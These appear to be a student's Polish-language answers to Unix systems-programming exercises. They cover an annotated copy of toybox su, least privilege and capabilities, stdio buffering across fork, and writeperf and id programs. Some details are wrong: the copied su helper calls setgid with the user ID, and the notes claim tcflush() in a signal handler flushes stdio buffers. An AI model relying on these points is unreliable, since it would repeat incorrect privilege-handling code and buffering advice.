    exec() it as new USER (bypassing shell). If -u or -g specified, first
    argument (if any) isn't USER (it's COMMAND).

    first argument is USER name to switch to (which must exist).
    Non-root users are prompted for new user's password.

    -s	Shell to use (default is user's shell from /etc/passwd)
    -c	Command line to pass to -s shell (ala sh -c "CMD")
    -l	Reset environment as if new login.
    -u	Switch to UID instead of USER
    -g	Switch to GID (only root allowed, can be comma separated list)
    -p	Preserve environment (except for $PATH and $IFS)
*/

#define FOR_su

// #include "toys.h"

// Wstawiam zamienniki:

#define _POSIX_C_SOURCE 199309L
#include <unistd.h>
#include <termios.h>
#include <signal.h>

#define GLOBALS(x) \
    struct         \
    {              \
        x          \
    } TT;
#define LOG_NOTICE 1
#define FLAG(x) 1
#define FLAG_l 1
#define _PATH_DEFPATH "/"
struct
{
    int optc;
    char *optargs;
    int optflags;
    int exitval;
} toys;
char toybuf[1024];
char m, p, l;

struct passwd
{
    char *pw_name;
    int pw_uid;
    int pw_gid;
    // powłoka użytkownika
    char *pw_shell;
};

struct spwd
{
    // skrót kryptograficzny hasła
    char *sp_pwdp;
};

void generic_signal(int signo)
{
    (void)signo;
}

// Koniec

// Kopia z innych plików

void xsetuser(struct passwd *pwd)
{
    if (initgroups(pwd->pw_name, pwd->pw_gid) || setgid(pwd->pw_uid) || setuid(pwd->pw_uid))
        perror_exit("xsetuser '%s'", pwd->pw_name);
}

struct passwd *xgetpwnam(char *name)
{
    struct passwd *up = getpwnam(name);

    if (!up)
        perror_exit("user '%s'", name);
    return up;
}

int read_password(char *buf, int buflen, char *mesg)
{
    struct termios oldtermio;
    struct sigaction sa, oldsa;
    // tty_fd sprawdza fd0, fd1, fd2, /dev/tty
    int i, tty = tty_fd(), ret = 1;

    // NOP signal handler to return from the read. Use sigaction() instead
    // of xsignal() because we want to restore the old handler afterwards.
    memset(&sa, 0, sizeof(sa));
    sa.sa_handler = generic_signal;
    sigaction(SIGINT, &sa, &oldsa);

    // Usuwamy niewczytane jeszcze bajty.
    tcflush(tty, TCIFLUSH);
    // Ustawiamy raw mode przez cfmakeraw(3). https://linux.die.net/man/3/cfmakeraw
    xset_terminal(tty, 1, 0, &oldtermio);
    dprintf(tty, "%s", mesg);

    for (i = 0; i < buflen - 1; i++)
    {
        // 4 - EOT End Of Transmission (Ctrl+D)
        // 3 - ETX End Of Text
        // Ctrl+D przerywa tylko, gdy jest w pustej linii (ale czemu w przeciwnym
        // wypadku bierzemy go jako fragment hasła?).
        if ((ret = read(tty, buf + i, 1)) < 0 || (!ret && !i) || *buf == 4 || buf[i] == 3)
        {
            i = 0;
            ret = 1;

            break;
        }
        else if (!ret || buf[i] == '\n' || buf[i] == '\r')
        {
            ret = 0;

            break;
        }
        // 8 - Backspace
        // 127 - Delete
        else if (buf[i] == 8 || buf[i] == 127)
            // Usuwamy 1 (samo Backspace/Delete), lub 2 znaki.
            i -= 2 - !i;
    }

    // Restore terminal/signal state, terminate string
    sigaction(SIGINT, &oldsa, 0);
    tcsetattr(0, TCSANOW, &oldtermio);
    buf[i] = 0;
    xputc('\n');

    return ret;
}

// Koniec

GLOBALS(
    char *s;
    char *c;)

void su_main()
{
    char *name, *passhash = 0, **argu, **argv;
    struct passwd *up;
    struct spwd *shp;

    // Użytkownik może poprosić o login shell przez -.
    // Np. `su - pzmarzly` wykona (`sh -l` jako pzmarzly).
    if (*toys.optargs && !strcmp("-", *toys.optargs))
    {
        toys.optflags |= FLAG_l;
        toys.optargs++;
    }

    // Pobieranie nazwy użytkownika.
    if (*toys.optargs)
        name = *(toys.optargs++);
    else
        name = "root";

    loggit(LOG_NOTICE, "%s->%s", getusername(getuid()), name);

    // Szukamy wpisu w /etc/shadow.
    if (!(shp = getspnam(name)))
        // Nie ma wpisu.
        perror_exit("no '%s'", name);
    if (getuid())
    {
        if (*shp->sp_pwdp != '$')
            // Hash hasła zwracanego przez crypt zaczyna się na $.
            // Puste sp_pwdp - login bez hasła (nieobsługiwane przez tę wersję)
            // !, !!, * - niedozwolony login. https://unix.stackexchange.com/questions/252016
            goto deny;
        if (read_password(toybuf, sizeof(toybuf), "Password: "))
            // Użytkownik anulował akcję, lub nie da się pobrać wejścia.
            goto deny;
        // Obliczamy skrót (zmodyfikowany DES).
        passhash = crypt(toybuf, shp->sp_pwdp);
        // Czyścimy bufor z czystym tekstem. Niekoniecznie dobrze.
        // Użyj memset_s. https://en.cppreference.com/w/c/string/byte/memset
        memset(toybuf, 0, sizeof(toybuf));
        if (!passhash || strcmp(passhash, shp->sp_pwdp))
            // Błędne hasło.
            goto deny;
    }
    // Zamykamy deskryptory plików.
    closelog();

    // Szukamy wpisu w /etc/passwd.
    xsetuser(up = xgetpwnam(name));

    if (FLAG(m) || FLAG(p))
    {
        // Pozostaw środowisko, poza nieintuicyjnym IFS i groźnym PATH.
        // Choć równie groźne jest np. PYTHONSTARTUP.
        unsetenv("IFS");
        setenv("PATH", _PATH_DEFPATH, 1);
    }
    else
        // Domyślne środowisko.
        reset_env(up, FLAG(l));

    argv = argu = xmalloc(sizeof(char *) * (toys.optc + 4));
    *(argv++) = TT.s ? TT.s : up->pw_shell;
    loggit(LOG_NOTICE, "run %s", *argu);

    // Przygotowujemy flagi dla sh.
    if (FLAG(l))
        *(argv++) = "-l";
    if (FLAG(c))
    {
        *(argv++) = "-c";
        *(argv++) = TT.c;
    }
    while ((*(argv++) = *(toys.optargs++)))
        ;
    xexec(argu);

deny:
    syslog(LOG_NOTICE, "No.");
    puts("No.");
    toys.exitval = 1;
}

Ciekawostka: -bash.

Zadanie 4

Na podstawie §38.2 i §38.3 wyjaśnij czemu programy uprzywilejowane należy projektować w taki sposób, by operowały z najmniejszym możliwym zestawem upoważnień (ang. the least privilege). Zreferuj wytyczne dotyczące projektowania takich programów. Zapoznaj się z §39.1 i wytłumacz czemu standardowy zestaw funkcji systemu uniksowego do implementacji programów uprzywilejowanych jest niewystarczający. Jak starają się to naprawić zdolności (ang. capabilities)? Dla nieuprzywilejowanego procesu posiadającego zdolności CAP_DAC_READ_SEARCH i CAP_KILL jądro pomija sprawdzanie upoważnień do wykonywania pewnych akcji – wymień je. Kiedy proces użytkownika może wysłać sygnał do innego procesu?

Projektowanie programów powinno opierać się na tworzeniu ich w taki sposób, aby korzystały z jak najmniejszych upoważnień (ang. the least privilege), aby były bezpieczniejsze. Zwykle zwiększone uprawnienia przydają się tylko do wykonania pewnych operacji, a później program działa w normalnym trybie – wszystkie niepotrzebne uprawnienia wtedy powinny być wyłączone, a gdy nie będą potrzebne już wcale, powinny zostać zabrane całkowicie. Odbywać się to może tak:

uid_t orig_euid = geteuid(); // zapisujemy oryginalny effective user ID

if (seteuid(getuid()) == -1)  // zabieramy uprawnienia
	errExit("seteuid");
	
// wykonujemy operacje niewymagające uprawnień

if (seteuid(orig_euid) == -1) // oddajemy uprawnienia
	errExit("seteuid");

// wykonujemy operacje wymagające uprawnień

Całkowite zabranie uprawnień może odbywać sie w taki sposób:

if (setreuid(getuid(), getuid()) == -1)
	errExit("setreuid");

Przypisujemy więc do ruid oraz euid ID użytkownika (nieuprzywilejowanego), gdy program nie jest uruchomiony jako root. Użycie setuid() jest w tym celu niewystarczające (do niektórych zmian tożsamości euid musi być równe 0, a więc jest to root), dlatego należy skorzystać z funkcji setreuid() lub setresuid().

Należy pamiętać, że przed uruchomieniem kolejnego programu poprzez exec(), system(), popen() czy inne polecenia, musimy pozbyć się uprawnień całkowicie, aby uruchomiony program nie miał nieoczekiwanych uprawnień oraz żeby nie przywrócił sobie zapisanych.

W przypadku exec() wystarczy wywołać przed nim setuid(getuid()), gdyż pomyślne wykonanie exec() kopiuje tylko euid, podobnie działa to dla zmiany ID grupy.

Powinniśmy unikać uruchamiania powłoki z uprawnieniami – są one tak złożone, że nie jesteśmy w stanie uniknąć wszystkich znajdujących się w nich luk, nawet jeśli uruchomiona powłoka nie zezwala na interakcje. Ryzykiem płynącym z uruchomienia powłoki z uprawnieniami jest między innymi możliwość uruchomienia komend powłoki z euid procesu. Jeśli mamy potrzebę uruchomienia powłoki, powinniśmy najpierw odrzucić wszystkie uprawnienia.

Zamykanie wszystkich deskryptorów plików (niepotrzebnych) przed wywołaniem exec() jest kolejnym przymusem. Uprzywilejowany program może otwierać pliki, których nie może uruchomić normalny proces. Wtedy otworzony deskryptor pliku jest uprzywilejowanym zasobem. Powinniśmy zamknąć deskryptor poleceniem close() lub korzystając z flagi FD_CLOEXEC (close-on-exec).

Powyższe akapity przemawiają za tym, że standardowy zestaw funkcji uniksowych do implementacji programów uprzywilejowanych jest niewystarczający. Programista musi pamiętać, aby przed każdym uruchomieniem programu pozbyć się uprawnień, zamknąć wszystkie deskryptory plików, jak i aktywnie śledzić jakie uprawnienia w danym momencie ma program. Jest to problematyczne, gdyż łatwo można o tym zapomnieć lub to przeoczyć, szczególnie w przypadku większych programów/projektów.

Zdolności (ang. capabilities) starają się poprawić i ułatwić pisanie programów uprzywilejowanych:

For the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes (whose effective user ID is 0, referred to as superuser or root), and unprivileged processes (whose effective UID is nonzero). Privileged processes bypass all kernel permission checks, while unprivileged processes are subject to full permission checking based on the process's credentials (usually: effective UID, effective GID, and supplementary group list).

Starting with kernel 2.2, Linux divides the privileges traditionally associated with superuser into distinct units, known as capabilities, which can be independently enabled and disabled. Capabilities are a per-thread attribute.

Wszystkie zdolności są opisane w podręczniku capabilities(7) i w makrach. Dwie z nich sprawiają, że jądro pomija sprawdzanie upoważnień do wykonywania pewnych akcji. Są to:

• CAP_DAC_READ_SEARCH nie sprawdza ustawienia flagi read dla plików oraz flag read i execute dla katalogów,
• CAP_KILL nie sprawdza uprawnień do wysyłania sygnałów, a dokładniej nie jest brane pod uwagę to, czy ruid lub euid procesu wysyłającego sygnał pokrywa się z ruid lub euid sygnału odbierającego sygnał.

Aby proces użytkownika wysłał sygnał do innego procesu, powinien być uprzywilejowany (mieć zdolność CAP_KILL) lub ruid/euid procesu użytkownika musi być równe ruid lub suid procesu docelowego. W przypadku SIGCONT wystarczająca jest przynależność do jednej sesji (procesów wysyłających i odbierających).

Zadanie 5

Opisz problemy z buforowaniem plików, które mogą wystąpić dla strumieni biblioteki stdio(3) w przypadku użycia wywołań fork(2) i execve(2). Jak zapobiec tym problemom? Jaka jest domyślna strategia buforowania strumienia związanego z (a) plikiem terminala (b) plikiem zwykłym © standardowym wyjściem błędów stderr.

Piszesz program który używa biblioteki stdio. Działanie programu da się przerwać sygnałem SIGINT. Ma on wtedy opróżnić wszystkie bufory otwartych strumieni i dopiero wtedy wyjść. Zaproponuj rozwiązanie pamiętając, że w procedurach obsługi sygnału nie wolno korzystać z funkcji, które nie są wielobieżne.

Gdy wywołujemy fork(2), nowo utworzony proces jest dokładną kopią rodzica, tak więc w szczególności współdzieli z nim ten sam bufor I/O. Jeśli w momencie wywołania fork(2) bufor jest niepusty, to zostanie on wykorzystany dwukrotnie, np. po wywołaniu:

printf("hello world");
fork();

na standardowym wyjściu zostanie wypisane helloworldhelloworld.

Jeśli więc istnieje możliwość takiego konfliktu, należy włączyć brak buforowania np. za pomocą setbuf(3), albo korzystać z write(2) (co jednak będzie nieefektywne), albo pamiętać o opróżnianu bufora poprzez flush() oraz dodawania znaku końca linii w przypadku buforowania liniami.

Strategie buforowania:

• pliki terminala - buforowanie liniami (dopóki nie napotkamy '\n', albo końca bufora)
• pliki dyskowe - buforowanie pełne (dopóki bufor nie jest zapełniony)
• stderr - niebuforowane; w przypadku obsługi błędów, chcemy je widzieć od razu

Funkcje obsługi sygnału:

• niedozwolone: printf(), sprintf(), malloc(), exit(), funkcje z stdio, itp.
• bezpieczne : write(), , sleep(), wait(), waitpid(), kill(), _exit(), tcflush

Aby poprawnie opróżnić wszystkie bufory przed zamknięciem programu, powinniśmy w procedurze obsługi sygnały SIGINT użyć tcflush(), dzięki czemu nie utracimy danych z buforów.

Zadanie 6

Program writeperf służy do testowania wydajności operacji zapisu do pliku. Nasz microbenchmark wczytuje z linii poleceń opcje i argumenty opisane dalej. Na standardowe wyjście drukuje

$t$ trójkątów (opcja -t) prostokątnych o boku złożonym z

$l$ znaków gwiazdki * (opcja -l). Jeśli standardowe wyjście zostało przekierowane do pliku oraz została podana opcja -s, to przed zakończeniem programu bufory pliku zostaną zsynchronizowane z dyskiem wywołaniem fsync(2).

Program realizuje pięć wariantów zapisu do pliku:

• Każdą linię trójkąta zapisuje osobno wywołaniem write(2) (argument write).
• Używa strumienia biblioteki stdio bez buforowania (argument fwrite), z buforowaniem liniami (argument fwrite-line) i buforowaniem pełnym (argument fwrite-full).
• Wykorzystuje wywołanie systemowe writev(2) do zapisania do IOV_MAX linii na raz.

Twoim zadaniem jest odpowiednie skonfigurowanie bufora strumienia stdout z użyciem procedury setvbuf(3) oraz zaimplementowanie metody zapisu z użyciem writev.

Przy pomocy skryptu powłoki writeperf.sh porównaj wydajność wymienionych wcześniej metod zapisu. Uzasadnij przedstawione wyniki. Miej na uwadze liczbę wywołań systemowych (należy to zbadać posługując się narzędziem strace(1) z opcją -c) oraz liczbę kopii danych wykonanych celem przesłania zawartości linii do buforów dysku.

#include "csapp.h"

static noreturn void usage(int argc, char *argv[]) {
  fprintf(stderr, "Usage: %s [-t times] [-l length] -s "
          "[write|fwrite|fwrite-line|fwrite-full|writev]\n", argv[0]);
  exit(EXIT_FAILURE);
}

int main(int argc, char *argv[]) {
  int length = -1, times = -1;
  bool dosync = false;
  int opt;

  while ((opt = getopt(argc, argv, "l:t:s")) != -1) {
    if (opt == 'l')
      length = atoi(optarg);
    else if (opt == 't')
      times = atoi(optarg);
    else if (opt == 's')
      dosync = true;
    else 
      usage(argc, argv);
  }

  if (optind >= argc || length <= 0 || times <= 0)
    usage(argc, argv);

  char *choice = argv[optind];

  char *line = malloc(length + 1);
  memset(line, '*', length);
  line[length] = '\n';

  if (strcmp(choice, "write") == 0) {
    for (int j = 0; j < times; j++)
      for (int k = 0; k < length; k++)
        write(STDOUT_FILENO, line + k, length + 1 - k); 
  }

  if (strncmp(choice, "fwrite", 6) == 0) {
    size_t size;
    int mode;
    void *buf = NULL; 

    if (strcmp(choice, "fwrite-line") == 0) {
      mode = _IOLBF;
      size = length + 1;
    } else if (strcmp(choice, "fwrite-full") == 0) {
      mode = _IOFBF;
      size = getpagesize();
    } else {
      mode = _IONBF;
      size = 0;
    }

    /* TODO: Attach new buffer to stdout stream. */
    
    setvbuf(stdout,buf,mode,size);

    for (int j = 0; j < times; j++)
      for (int k = 0; k < length; k++)
        fwrite(line + k, 1, length+1-k, stdout); 
    fflush(stdout);

    free(buf);
  }

  if (strcmp(choice, "writev") == 0) {
    int n = sysconf(_SC_IOV_MAX);
    struct iovec iov[n];
    
    /* TODO: Write file by filling in iov array and issuing writev. */
    
    for (int j = 0; j < times; j++)
      for (int k = 0; k < length; k++)
		{
        	    iov[ (j*length + k) % n ].iov_base = line + k;
		    iov[ (j*length + k) % n ].iov_len = length + 1 - k;
		    if((j*length + k) % n == n - 1)
				writev(STDOUT_FILENO, iov, n);
		}
		
		if((length * times) % n)
			writev(STDOUT_FILENO, iov, (length * times) % n);
  }

  free(line);

  if (dosync && !isatty(STDOUT_FILENO))
    fsync(STDOUT_FILENO);

  return 0;
}

Zadanie 7

Program id drukuje na standardowe wyjście tożsamość, z którą został utworzony, np.:

$ id
uid=1000(cahir) gid=1000(cahir) groups=1000(cahir),20(dialout),24(cdrom),25(floppy),
27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),123(vboxusers),999(docker)

Uzupełnij procedurę getid tak by zwracała identyfikator użytkownika getuid(2), identyfikator grupy getgid(2) oraz tablicę identyfikatorów i liczbę grup dodatkowych getgroups(2). Nie możesz z góry założyć liczby grup, do których należy użytkownik. Dlatego należy stopniowo zwiększać rozmiar tablicy gids przy pomocy realloc(3), aż pomieści rezultat wywołania getgroups. Należy również uzupełnić ciało procedur uidnamei gidname korzystając odpowiednio z getpwuid(3) i getgrgid(3).

#include "csapp.h"

static const char *uidname(uid_t uid) {
    /* TODO: Something is missing here! */
	struct passwd *pw = getpwuid(uid);
	return pw->pw_name;
}

static const char *gidname(gid_t gid) {
    /* TODO: Something is missing here! */
	struct group *gr = getgrgid(gid);
	return gr->gr_name;
}

static int getid(uid_t *uid_p, gid_t *gid_p, gid_t **gids_p) {
    gid_t *gids = NULL;
    int groups;

    /* TODO: Something is missing here! */
	*uid_p = getuid();
	*gid_p = getgid();
	groups = getgroups(0, NULL);
	gids = malloc(groups * sizeof(gid_t));
	getgroups(groups, gids);

    *gids_p = gids;
    return groups;
}

int main(void) {
    uid_t uid;
    gid_t *gids, gid;
    int groups = getid(&uid, &gid, &gids);

    printf("uid=%d(%s) gid=%d(%s) ", uid, uidname(uid), gid, gidname(gid));
    printf("groups=%d(%s)", gids[0], gidname(gids[0]));
    for (int i = 1; i < groups; i++)
        printf(",%d(%s)", gids[i], gidname(gids[i]));
    putchar('\n');

    free(gids);

    return 0;
}